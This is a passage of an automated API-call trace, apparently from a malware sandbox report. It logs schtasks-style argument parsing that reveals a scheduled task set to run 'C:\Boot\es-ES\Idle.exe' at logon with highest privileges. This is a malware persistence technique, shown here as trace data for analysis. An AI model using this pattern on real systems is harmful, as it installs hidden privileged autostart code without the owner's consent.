_Buffer="|delete|") returned 8 [0133.916] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|sc|") returned 4 [0133.916] lstrlenW (lpString="|delete|") returned 8 [0133.916] lstrlenW (lpString="|sc|") returned 4 [0133.916] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0133.916] SetLastError (dwErrCode=0x490) [0133.916] lstrlenW (lpString="query") returned 5 [0133.916] lstrlenW (lpString="query") returned 5 [0133.916] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.916] lstrlenW (lpString="sc") returned 2 [0133.916] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.916] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|query|") returned 7 [0133.916] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|sc|") returned 4 [0133.916] lstrlenW (lpString="|query|") returned 7 [0133.917] lstrlenW (lpString="|sc|") returned 4 [0133.917] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0133.917] SetLastError (dwErrCode=0x490) [0133.917] lstrlenW (lpString="change") returned 6 [0133.917] lstrlenW (lpString="change") returned 6 [0133.917] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.917] lstrlenW (lpString="sc") returned 2 [0133.917] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.917] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|change|") returned 8 [0133.917] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|sc|") returned 4 [0133.917] lstrlenW (lpString="|change|") returned 8 [0133.917] lstrlenW (lpString="|sc|") returned 4 [0133.917] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0133.917] SetLastError (dwErrCode=0x490) [0133.917] lstrlenW (lpString="run") returned 3 [0133.917] lstrlenW (lpString="run") returned 3 [0133.917] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.917] lstrlenW (lpString="sc") returned 2 [0133.917] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.917] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|run|") returned 5 [0133.917] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|sc|") returned 4 [0133.917] lstrlenW (lpString="|run|") returned 5 [0133.917] lstrlenW (lpString="|sc|") returned 4 [0133.917] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0133.917] SetLastError (dwErrCode=0x490) [0133.917] lstrlenW (lpString="end") returned 3 [0133.918] lstrlenW (lpString="end") returned 3 [0133.918] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.918] lstrlenW (lpString="sc") returned 2 [0133.918] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.918] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|end|") returned 5 [0133.918] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|sc|") returned 4 [0133.918] lstrlenW (lpString="|end|") returned 5 [0133.918] lstrlenW (lpString="|sc|") returned 4 [0133.918] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0133.918] SetLastError (dwErrCode=0x490) [0133.918] lstrlenW (lpString="showsid") returned 7 [0133.918] lstrlenW (lpString="showsid") returned 7 [0133.918] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.923] lstrlenW (lpString="sc") returned 2 [0133.923] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.923] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|showsid|") returned 9 [0133.923] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|sc|") returned 4 [0133.923] lstrlenW (lpString="|showsid|") returned 9 [0133.923] lstrlenW (lpString="|sc|") returned 4 [0133.923] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0133.923] SetLastError (dwErrCode=0x490) [0133.923] SetLastError (dwErrCode=0x490) [0133.923] SetLastError (dwErrCode=0x0) [0133.923] lstrlenW (lpString="/sc") returned 3 [0133.923] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0133.923] SetLastError (dwErrCode=0x490) [0133.923] SetLastError (dwErrCode=0x0) [0133.923] lstrlenW (lpString="/sc") returned 3 [0133.923] GetProcessHeap () returned 0x150000 [0133.923] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x8) returned 0x16dc60 [0133.923] GetProcessHeap () returned 0x150000 [0133.923] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc00 [0133.924] SetLastError (dwErrCode=0x0) [0133.924] SetLastError (dwErrCode=0x0) [0133.924] lstrlenW (lpString="ONLOGON") returned 7 [0133.924] lstrlenW (lpString="-/") returned 2 [0133.924] StrChrIW (lpStart="-/", wMatch=0x4f) returned 0x0 [0133.924] SetLastError (dwErrCode=0x490) [0133.924] SetLastError (dwErrCode=0x490) [0133.924] SetLastError (dwErrCode=0x0) [0133.924] lstrlenW (lpString="ONLOGON") returned 7 [0133.924] StrChrIW (lpStart="ONLOGON", wMatch=0x3a) returned 0x0 [0133.924] SetLastError (dwErrCode=0x490) [0133.924] SetLastError (dwErrCode=0x0) [0133.924] lstrlenW (lpString="ONLOGON") returned 7 [0133.924] GetProcessHeap () returned 0x150000 [0133.924] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x10) returned 0x16d4b0 [0133.924] GetProcessHeap () returned 0x150000 [0133.924] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc30 [0133.924] SetLastError (dwErrCode=0x0) [0133.924] SetLastError (dwErrCode=0x0) [0133.924] lstrlenW (lpString="/tr") returned 3 [0133.924] lstrlenW (lpString="-/") returned 2 [0133.924] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.924] lstrlenW (lpString="?") returned 1 [0133.924] lstrlenW (lpString="?") returned 1 [0133.924] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.924] lstrlenW (lpString="tr") returned 2 [0133.924] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.924] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|?|") returned 3 [0133.924] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tr|") returned 4 [0133.925] lstrlenW (lpString="|?|") returned 3 [0133.925] lstrlenW (lpString="|tr|") returned 4 [0133.925] SetLastError (dwErrCode=0x490) [0133.925] lstrlenW (lpString="create") returned 6 [0133.925] lstrlenW (lpString="create") returned 6 [0133.925] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.925] lstrlenW (lpString="tr") returned 2 [0133.925] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.925] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|create|") returned 8 [0133.925] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tr|") returned 4 [0133.925] lstrlenW (lpString="|create|") returned 8 [0133.925] lstrlenW (lpString="|tr|") returned 4 [0133.925] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0133.925] SetLastError (dwErrCode=0x490) [0133.925] lstrlenW (lpString="delete") returned 6 [0133.925] lstrlenW (lpString="delete") returned 6 [0133.925] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.925] lstrlenW (lpString="tr") returned 2 [0133.925] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.925] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|delete|") returned 8 [0133.925] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tr|") returned 4 [0133.925] lstrlenW (lpString="|delete|") returned 8 [0133.925] lstrlenW (lpString="|tr|") returned 4 [0133.925] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0133.925] SetLastError (dwErrCode=0x490) [0133.925] lstrlenW (lpString="query") returned 5 [0133.925] lstrlenW (lpString="query") returned 5 [0133.926] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.926] lstrlenW (lpString="tr") returned 2 [0133.926] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.926] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|query|") returned 7 [0133.926] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tr|") returned 4 [0133.926] lstrlenW (lpString="|query|") returned 7 [0133.926] lstrlenW (lpString="|tr|") returned 4 [0133.926] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0133.926] SetLastError (dwErrCode=0x490) [0133.926] lstrlenW (lpString="change") returned 6 [0133.926] lstrlenW (lpString="change") returned 6 [0133.926] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.926] lstrlenW (lpString="tr") returned 2 [0133.926] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.926] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|change|") returned 8 [0133.926] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tr|") returned 4 [0133.926] lstrlenW (lpString="|change|") returned 8 [0133.926] lstrlenW (lpString="|tr|") returned 4 [0133.926] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0133.926] SetLastError (dwErrCode=0x490) [0133.926] lstrlenW (lpString="run") returned 3 [0133.926] lstrlenW (lpString="run") returned 3 [0133.926] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.926] lstrlenW (lpString="tr") returned 2 [0133.926] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.926] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|run|") returned 5 [0133.927] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tr|") returned 4 [0133.927] lstrlenW (lpString="|run|") returned 5 [0133.927] lstrlenW (lpString="|tr|") returned 4 [0133.927] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0133.927] SetLastError (dwErrCode=0x490) [0133.927] lstrlenW (lpString="end") returned 3 [0133.927] lstrlenW (lpString="end") returned 3 [0133.927] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.927] lstrlenW (lpString="tr") returned 2 [0133.927] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.927] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|end|") returned 5 [0133.927] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tr|") returned 4 [0133.927] lstrlenW (lpString="|end|") returned 5 [0133.927] lstrlenW (lpString="|tr|") returned 4 [0133.927] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0133.927] SetLastError (dwErrCode=0x490) [0133.927] lstrlenW (lpString="showsid") returned 7 [0133.927] lstrlenW (lpString="showsid") returned 7 [0133.927] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.927] lstrlenW (lpString="tr") returned 2 [0133.927] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.927] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|showsid|") returned 9 [0133.927] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|tr|") returned 4 [0133.927] lstrlenW (lpString="|showsid|") returned 9 [0133.927] lstrlenW (lpString="|tr|") returned 4 [0133.927] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0133.927] SetLastError (dwErrCode=0x490) [0133.928] SetLastError (dwErrCode=0x490) [0133.928] SetLastError (dwErrCode=0x0) [0133.928] lstrlenW (lpString="/tr") returned 3 [0133.928] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0133.928] SetLastError (dwErrCode=0x490) [0133.928] SetLastError (dwErrCode=0x0) [0133.928] lstrlenW (lpString="/tr") returned 3 [0133.928] GetProcessHeap () returned 0x150000 [0133.928] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x8) returned 0x16dc80 [0133.928] GetProcessHeap () returned 0x150000 [0133.928] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc60 [0133.928] SetLastError (dwErrCode=0x0) [0133.928] SetLastError (dwErrCode=0x0) [0133.928] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.928] lstrlenW (lpString="-/") returned 2 [0133.928] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0133.928] SetLastError (dwErrCode=0x490) [0133.928] SetLastError (dwErrCode=0x490) [0133.928] SetLastError (dwErrCode=0x0) [0133.928] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.928] StrChrIW (lpStart="'C:\\Boot\\es-ES\\Idle.exe'", wMatch=0x3a) returned=":\\Boot\\es-ES\\Idle.exe'" [0133.928] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.928] GetProcessHeap () returned 0x150000 [0133.928] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16d4d0 [0133.928] _memicmp (_Buf1=0x16d4d0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.928] GetProcessHeap () returned 0x150000 [0133.929] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0xe) returned 0x16d4f0 [0133.929] GetProcessHeap () returned 0x150000 [0133.929] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x18) returned 0x16d510 [0133.929] _memicmp (_Buf1=0x16d510, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.929] GetProcessHeap () returned 0x150000 [0133.929] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x34) returned 0x167a60 [0133.929] SetLastError (dwErrCode=0x7a) [0133.929] SetLastError (dwErrCode=0x0) [0133.929] SetLastError (dwErrCode=0x0) [0133.929] lstrlenW (lpString="'C") returned 2 [0133.929] lstrlenW (lpString="-/") returned 2 [0133.929] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0133.929] SetLastError (dwErrCode=0x490) [0133.929] SetLastError (dwErrCode=0x490) [0133.929] SetLastError (dwErrCode=0x0) [0133.929] lstrlenW (lpString="'C:\\Boot\\es-ES\\Idle.exe'") returned 24 [0133.929] GetProcessHeap () returned 0x150000 [0133.929] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x32) returned 0x167aa0 [0133.929] GetProcessHeap () returned 0x150000 [0133.929] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16cc90 [0133.929] SetLastError (dwErrCode=0x0) [0133.929] SetLastError (dwErrCode=0x0) [0133.929] lstrlenW (lpString="/rl") returned 3 [0133.929] lstrlenW (lpString="-/") returned 2 [0133.929] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.929] lstrlenW (lpString="?") returned 1 [0133.929] lstrlenW (lpString="?") returned 1 [0133.929] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.929] lstrlenW (lpString="rl") returned 2 [0133.930] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.930] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|?|") returned 3 [0133.930] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|rl|") returned 4 [0133.930] lstrlenW (lpString="|?|") returned 3 [0133.930] lstrlenW (lpString="|rl|") returned 4 [0133.930] SetLastError (dwErrCode=0x490) [0133.930] lstrlenW (lpString="create") returned 6 [0133.930] lstrlenW (lpString="create") returned 6 [0133.930] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.930] lstrlenW (lpString="rl") returned 2 [0133.930] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.930] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|create|") returned 8 [0133.930] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|rl|") returned 4 [0133.930] lstrlenW (lpString="|create|") returned 8 [0133.930] lstrlenW (lpString="|rl|") returned 4 [0133.930] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0133.930] SetLastError (dwErrCode=0x490) [0133.930] lstrlenW (lpString="delete") returned 6 [0133.930] lstrlenW (lpString="delete") returned 6 [0133.930] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.930] lstrlenW (lpString="rl") returned 2 [0133.930] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.930] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|delete|") returned 8 [0133.930] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|rl|") returned 4 [0133.930] lstrlenW (lpString="|delete|") returned 8 [0133.930] lstrlenW (lpString="|rl|") returned 4 [0133.930] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0133.931] SetLastError (dwErrCode=0x490) [0133.931] lstrlenW (lpString="query") returned 5 [0133.931] lstrlenW (lpString="query") returned 5 [0133.931] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.931] lstrlenW (lpString="rl") returned 2 [0133.931] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.931] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|query|") returned 7 [0133.931] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|rl|") returned 4 [0133.931] lstrlenW (lpString="|query|") returned 7 [0133.931] lstrlenW (lpString="|rl|") returned 4 [0133.931] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0133.931] SetLastError (dwErrCode=0x490) [0133.931] lstrlenW (lpString="change") returned 6 [0133.931] lstrlenW (lpString="change") returned 6 [0133.931] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.931] lstrlenW (lpString="rl") returned 2 [0133.931] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.931] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|change|") returned 8 [0133.931] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|rl|") returned 4 [0133.931] lstrlenW (lpString="|change|") returned 8 [0133.931] lstrlenW (lpString="|rl|") returned 4 [0133.931] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0133.931] SetLastError (dwErrCode=0x490) [0133.931] lstrlenW (lpString="run") returned 3 [0133.931] lstrlenW (lpString="run") returned 3 [0133.931] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.932] lstrlenW (lpString="rl") returned 2 [0133.932] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.932] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|run|") returned 5 [0133.932] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|rl|") returned 4 [0133.932] lstrlenW (lpString="|run|") returned 5 [0133.932] lstrlenW (lpString="|rl|") returned 4 [0133.932] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0133.932] SetLastError (dwErrCode=0x490) [0133.932] lstrlenW (lpString="end") returned 3 [0133.932] lstrlenW (lpString="end") returned 3 [0133.932] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.932] lstrlenW (lpString="rl") returned 2 [0133.932] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.932] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x6, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|end|") returned 5 [0133.932] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|rl|") returned 4 [0133.932] lstrlenW (lpString="|end|") returned 5 [0133.932] lstrlenW (lpString="|rl|") returned 4 [0133.932] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0133.932] SetLastError (dwErrCode=0x490) [0133.932] lstrlenW (lpString="showsid") returned 7 [0133.932] lstrlenW (lpString="showsid") returned 7 [0133.932] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.932] lstrlenW (lpString="rl") returned 2 [0133.932] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.932] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0xa, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|showsid|") returned 9 [0133.933] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|rl|") returned 4 [0133.933] lstrlenW (lpString="|showsid|") returned 9 [0133.933] lstrlenW (lpString="|rl|") returned 4 [0133.933] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0133.933] SetLastError (dwErrCode=0x490) [0133.933] SetLastError (dwErrCode=0x490) [0133.933] SetLastError (dwErrCode=0x0) [0133.933] lstrlenW (lpString="/rl") returned 3 [0133.933] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0133.933] SetLastError (dwErrCode=0x490) [0133.933] SetLastError (dwErrCode=0x0) [0133.933] lstrlenW (lpString="/rl") returned 3 [0133.933] GetProcessHeap () returned 0x150000 [0133.933] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x8) returned 0x16dca0 [0133.933] GetProcessHeap () returned 0x150000 [0133.933] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16ccc0 [0133.933] SetLastError (dwErrCode=0x0) [0133.933] SetLastError (dwErrCode=0x0) [0133.933] lstrlenW (lpString="HIGHEST") returned 7 [0133.933] lstrlenW (lpString="-/") returned 2 [0133.933] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0133.933] SetLastError (dwErrCode=0x490) [0133.933] SetLastError (dwErrCode=0x490) [0133.933] SetLastError (dwErrCode=0x0) [0133.933] lstrlenW (lpString="HIGHEST") returned 7 [0133.933] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0133.933] SetLastError (dwErrCode=0x490) [0133.933] SetLastError (dwErrCode=0x0) [0133.933] lstrlenW (lpString="HIGHEST") returned 7 [0133.933] GetProcessHeap () returned 0x150000 [0133.933] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x10) returned 0x16d530 [0133.933] GetProcessHeap () returned 0x150000 [0133.934] RtlAllocateHeap (HeapHandle=0x150000, Flags=0xc, Size=0x20) returned 0x16ccf0 [0133.934] SetLastError (dwErrCode=0x0) [0133.934] SetLastError (dwErrCode=0x0) [0133.934] lstrlenW (lpString="/f") returned 2 [0133.934] lstrlenW (lpString="-/") returned 2 [0133.934] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0133.934] lstrlenW (lpString="?") returned 1 [0133.934] lstrlenW (lpString="?") returned 1 [0133.934] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.934] lstrlenW (lpString="f") returned 1 [0133.934] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.934] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|?|") returned 3 [0133.934] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|f|") returned 3 [0133.934] lstrlenW (lpString="|?|") returned 3 [0133.934] lstrlenW (lpString="|f|") returned 3 [0133.934] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0133.934] SetLastError (dwErrCode=0x490) [0133.934] lstrlenW (lpString="create") returned 6 [0133.934] lstrlenW (lpString="create") returned 6 [0133.934] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.934] lstrlenW (lpString="f") returned 1 [0133.935] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.935] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|create|") returned 8 [0133.935] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|f|") returned 3 [0133.935] lstrlenW (lpString="|create|") returned 8 [0133.935] lstrlenW (lpString="|f|") returned 3 [0133.935] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0133.935] SetLastError (dwErrCode=0x490) [0133.935] lstrlenW (lpString="delete") returned 6 [0133.935] lstrlenW (lpString="delete") returned 6 [0133.935] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.935] lstrlenW (lpString="f") returned 1 [0133.935] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.935] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|delete|") returned 8 [0133.935] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|f|") returned 3 [0133.935] lstrlenW (lpString="|delete|") returned 8 [0133.935] lstrlenW (lpString="|f|") returned 3 [0133.935] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0133.935] SetLastError (dwErrCode=0x490) [0133.935] lstrlenW (lpString="query") returned 5 [0133.935] lstrlenW (lpString="query") returned 5 [0133.935] _memicmp (_Buf1=0x16c170, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.935] lstrlenW (lpString="f") returned 1 [0133.935] _memicmp (_Buf1=0x16c1b0, _Buf2=0xff121b08, _Size=0x7) returned 0 [0133.935] _vsnwprintf (in: _Buffer=0x16c1f0, _BufferCount=0x8, _Format="|%s|", _ArgList=0xff438 | out: _Buffer="|query|") returned 7 [0133.935] _vsnwprintf (in: _Buffer=0x16c1d0, _BufferCount=0x4, _Format="|%s|", 